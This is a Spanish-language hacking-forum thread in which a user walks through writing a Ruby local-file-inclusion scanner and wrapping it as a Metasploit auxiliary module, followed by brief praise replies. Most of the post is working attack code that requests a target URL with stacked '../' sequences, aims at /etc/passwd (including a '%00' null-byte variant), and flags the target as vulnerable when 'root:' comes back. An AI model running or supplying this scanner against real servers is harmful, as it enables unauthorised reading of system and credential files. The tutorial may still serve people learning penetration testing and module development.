comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Escribiendo un auxiliar para MSF

  • 4 Respuestas
  • 2838 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado q3rv0

  • *
  • Underc0der
  • Mensajes: 206
  • Actividad:
    0%
  • Reputación 1
  • %ERRORLEVEL%
    • Ver Perfil
    • q3rv0
    • Email
« en: Diciembre 10, 2013, 04:10:05 pm »


La idea de comenzar a aprender ruby llego solo por el echo de poder ver en la consola del msf un auxiliar escrito por mi, la API de metasploit no es un muy complicadad de llevar y con solo unos dias de practica, y es mas, ya estando familiarizados con otros lenguajes similares como lo son python y perl la forma de tomar el control de ruby se hace mas llevadera que comenzar desde cero, por suspuesto no estoy diciendo que sean realmente identicos pero ambos lenguajes poseen ciertas caracteristicas como la sencilles de su sintaxis, entre otras.

Durante este tutorial se mostrara paso a paso como aderir nuestra herramienta escrita en ruby como modulo auxiliar de msf. Para ello programe un sencillo scanner de LFI.


Código: Ruby
  1. #Autor: [Q]3rV[0]
  2.  
  3. require 'net/http'
  4. require 'uri'
  5.  
  6. def conn(vector)
  7.  
  8.   host=URI.parse(vector)
  9.  
  10.   return Net::HTTP.get(host)
  11.  
  12. end
  13.  
  14. def compr(data, vector)
  15.  
  16.         if data =~ /root:/
  17.             puts "Parametro vulnerable a LFI -> #{vector}\n"
  18.         else
  19.             puts "Not Found -> #{vector}\n"
  20.  
  21.     end
  22. end
  23.  
  24. def lfi(web, pb, file)
  25.  
  26.     a=0
  27.  
  28.     while a<pb
  29.         a=a+1
  30.  
  31.         traversal="../"*a+file
  32.         vector=web+traversal
  33.  
  34.         data=conn(vector)
  35.  
  36.         compr(data, vector)
  37.  
  38. end
  39. end
  40.  
  41. lfi(ARGV[0], ARGV[1].to_i, "etc/passwd")
  42. lfi(ARGV[0], ARGV[1].to_i, "etc/passwd%00")

Se le debera pasar como argumentos el parametro vulnerable y un numero que indicara la cantidad de '../'  que realizara la inyeccion.



Lo primero que haremos sera importar el modulo msf/core y crer una clase en la cual heredaremos los metodos de Msf::Auxiliary.
Código: Ruby
  1. require 'msf/core'
  2.  
  3. class Metasploit4 < Msf::Auxiliary
  4.  
  5. end

Luego crearemos el metodo initialize que contendra dos funciones: super() y register_options().

Código: Ruby
  1. require 'msf/core'
  2.  
  3. class Metasploit4 < Msf::Auxiliary
  4.  
  5.     def initialize
  6.  
  7.         super()
  8.  
  9.         register_options()
  10. end
  11.  
  12. end

super() contendra la informacion de nuestro auxiliar, tales como la version, el nombre del autor, la descripcion del modulo, etc.

Código: Ruby
  1. require 'msf/core'
  2.  
  3. class Metasploit4 < Msf::Auxiliary
  4.  
  5.     def initialize
  6.  
  7.         super(
  8.         'Name' => 'LFI scanner',
  9.         'Version' => '1.0',
  10.         'Description' => 'Scanner para realizar inyecciones LFI',
  11.         'Author' => '[Q]3rV[0]',
  12.         'License'=> MSF_LICENSE
  13.          )
  14.  
  15.         register_options()
  16.  
  17. end
  18. end
  19.  
Por otro lado register_options() contendra las opciones del auxiliar, y es donde definiremos los argumentos para luego setearlos desde msf.

La funcion tomara dos argumentos

Código: Ruby
  1. register_options([],self.class)

Dentro del array definiremos las opciones teniendo tipos como:

Código: Ruby
  1. OptInt.new() # Para valores enteros
  2. OptString.new() # Para cadenas
  3. OptAddress.new() # Para direcciones

En nuestro caso quedaria de la siguiente manera

Código: Ruby
  1. require 'msf/core'
  2.  
  3. class Metasploit4 < Msf::Auxiliary
  4.  
  5.     def initialize
  6.  
  7.         super(
  8.         'Name' => 'LFI scanner',
  9.         'Version' => '1.0',
  10.         'Description' => 'Scanner para realizar inyecciones LFI',
  11.         'Author' => '[Q]3rV[0]',
  12.         'License'=> MSF_LICENSE
  13.          )
  14.  
  15.         register_options([OptString.new('RHOST',[true, 'Indique el target']),
  16.                           OptInt.new('TRAVERSAL',[true, 'Path traversal'])], self.class)
  17.  
  18. end
  19. end

Fijense la sintaxis de Optxxx
Código: Ruby
  1. OptString.new('RHOST',[true, 'Indique el target'])

Recibe dos argumentos, el primero indica el nombre del parametro, el segundo es un array que contiene como primer indice un valor boleano que indica si es prescindible definir esa variable, y el segundo indice contiene la descripcion de la opcion.

Bien, ahora pasemos a la parte donde hubicaremos el codigo del scanner.

Definiremos otro metodo llamado run() donde incluiremos el codigo.

Código: Ruby
  1. require 'msf/core'
  2. require 'net/http'
  3. require 'uri'
  4.  
  5. class Metasploit4 < Msf::Auxiliary
  6.  
  7.     def initialize
  8.  
  9.         super(
  10.         'Name' => 'LFI scanner',
  11.         'Version' => '1.0',
  12.         'Description' => 'Scanner para realizar inyecciones LFI',
  13.         'Author' => '[Q]3rV[0]',
  14.         'License'=> MSF_LICENSE
  15.          )
  16.  
  17.         register_options([OptString.new('RHOST',[true, 'Indique el target']),  
  18.                           OptInt.new('TRAVERSAL',[true, 'Path traversal'])], self.class)
  19.  
  20. end
  21.  
  22.     def run()
  23.  
  24.         def conn(vector)
  25.  
  26.                 host=URI.parse(vector)
  27.  
  28.                 return Net::HTTP.get(host)
  29.  
  30.         end
  31.  
  32.         def compr(data, vector)
  33.  
  34.                 if data =~ /root:/
  35.                         puts "Parametro vulnerable a LFI -> #{vector}\n"
  36.                 else
  37.                         puts "Not Found -> #{vector}\n"
  38.  
  39.         end
  40.         end
  41.  
  42.         def lfi(web, pb, file)
  43.  
  44.                 a=0
  45.  
  46.                 while a<pb
  47.                         a=a+1
  48.  
  49.                         traversal="../"*a+file
  50.                         vector=web+traversal
  51.  
  52.                         data=conn(vector)
  53.  
  54.                         compr(data, vector)
  55.  
  56.                 end
  57.                 end
  58.  
  59.         lfi(ARGV[0], ARGV[1].to_i, "etc/passwd")
  60.         lfi(ARGV[0], ARGV[1].to_i, "etc/passwd%00")    
  61.  
  62.         end
  63.  
  64. end

Pero todavia falta el pasaje de los argumentos y eso lo haremos con datastore['PARAMETRO'], donde PARAMETRO seran los antes definidos con Optxxx.new()

Quedando finalizado nuestro modulo auxiliar para Msf.

Código: Ruby
  1. require 'msf/core'
  2. require 'net/http'
  3. require 'uri'
  4.  
  5. class Metasploit4 < Msf::Auxiliary
  6.  
  7.     def initialize
  8.  
  9.         super(
  10.         'Name' => 'LFI scanner',
  11.         'Version' => '1.0',
  12.         'Description' => 'Scanner para realizar inyecciones LFI',
  13.         'Author' => '[Q]3rV[0]',
  14.         'License'=> MSF_LICENSE
  15.          )
  16.  
  17.         register_options([OptString.new('RHOST',[true, 'Indique el target']),
  18.                                    OptInt.new('TRAVERSAL',[true, 'Path traversal'])], self.class)
  19.  
  20. end
  21.  
  22.     def run()
  23.  
  24.         def conn(vector)
  25.  
  26.                 host=URI.parse(vector)
  27.  
  28.                 return Net::HTTP.get(host)
  29.  
  30.         end
  31.  
  32.         def compr(data, vector)
  33.  
  34.                 if data =~ /root:/
  35.                         puts "Parametro vulnerable a LFI -> #{vector}\n"
  36.                 else
  37.                         puts "Not Found -> #{vector}\n"
  38.  
  39.         end
  40.         end
  41.  
  42.         def lfi(web, pb, file)
  43.  
  44.                 a=0
  45.  
  46.                 while a<pb
  47.                         a=a+1
  48.  
  49.                         traversal="../"*a+file
  50.                         vector=web+traversal
  51.  
  52.                         data=conn(vector)
  53.  
  54.                         compr(data, vector)
  55.  
  56.                 end
  57.                 end
  58.  
  59.         lfi(datastore['RHOST'], datastore['TRAVERSAL'], "etc/passwd")
  60.         lfi(datastore['RHOST'], datastore['TRAVERSAL'], "etc/passwd%00")    
  61.  
  62.         end
  63.  
  64. end

Para terminar agregaremos el auxiliar a msf, crearemos un direcotorio en /opt/metasploit/apps/pro/msf3/modules/auxiliary y copiaremos nuestro script dentro.

Luego accederemos a el.



« Última modificación: Diciembre 15, 2013, 07:31:14 pm por [Q]3rV[0] »
Web: You are not allowed to view links. Register or Login

Twitter: You are not allowed to view links. Register or Login

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5335
  • Actividad:
    21.67%
  • Reputación 30
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #1 en: Diciembre 10, 2013, 04:13:56 pm »
Grande Cuervo!!!
Que terrible aporte! Felicitaciones bro!


Desconectado CrazyKade

  • *
  • Underc0der
  • Mensajes: 182
  • Actividad:
    0%
  • Reputación 0
  • Я только знаю что ничего не знаю!
    • Ver Perfil
« Respuesta #2 en: Diciembre 11, 2013, 10:56:14 am »
[Q]3rV[0] Querido:



Me aclaraste muchas dudas que tenía respecto a MS con tu post. Realmente muy bueno!

CrazyKade

Desconectado hdbreaker

  • *
  • Underc0der
  • Mensajes: 412
  • Actividad:
    0%
  • Reputación 0
  • HD_Breaker
    • Ver Perfil
    • Security Signal
    • Email
  • Skype: hdbreaker96
  • Twitter: @SecSignal
« Respuesta #3 en: Diciembre 12, 2013, 07:37:16 pm »
Exelente bro!! como siempre!

Ser Libres es un Privilegio por el cual pocos estamos dispuestos a correr el riesgo

Desconectado morodog

  • *
  • Underc0der
  • Mensajes: 350
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
  • Skype: MorodoG
  • Twitter: m4r4d4g
« Respuesta #4 en: Diciembre 12, 2013, 07:47:01 pm »
Muy bueno esto!

Un saludo.

 

¿Te gustó el post? COMPARTILO!



Exploit para Apache Struts (ejecución remota de comandos) [Tomcat]|CVE2017-5638

Iniciado por Eschiclers

Respuestas: 9
Vistas: 2972
Último mensaje Marzo 23, 2017, 03:57:38 pm
por zoro248
Nuevo Exploit 0day para Internet Explorer 7, 8, 9 en Windows XP, Vista y 7

Iniciado por CalebBucker

Respuestas: 1
Vistas: 2067
Último mensaje Septiembre 17, 2012, 04:49:25 pm
por Slore
SAPYTO – Framework para realizar Penetration Tests sobre sistemas SAP

Iniciado por ZanGetsu

Respuestas: 1
Vistas: 1438
Último mensaje Mayo 20, 2013, 08:49:26 pm
por D4rkC0d3r
Routerpwn, un framework para explotar dispositivos embebidos desde tu celular

Iniciado por hkm

Respuestas: 2
Vistas: 1845
Último mensaje Agosto 01, 2011, 11:45:43 pm
por JaAViEr
Gcat - Python Backdoor Usando Gmail para Mando y Control

Iniciado por R3v0lve

Respuestas: 2
Vistas: 3623
Último mensaje Noviembre 18, 2015, 08:52:40 pm
por Stuxnet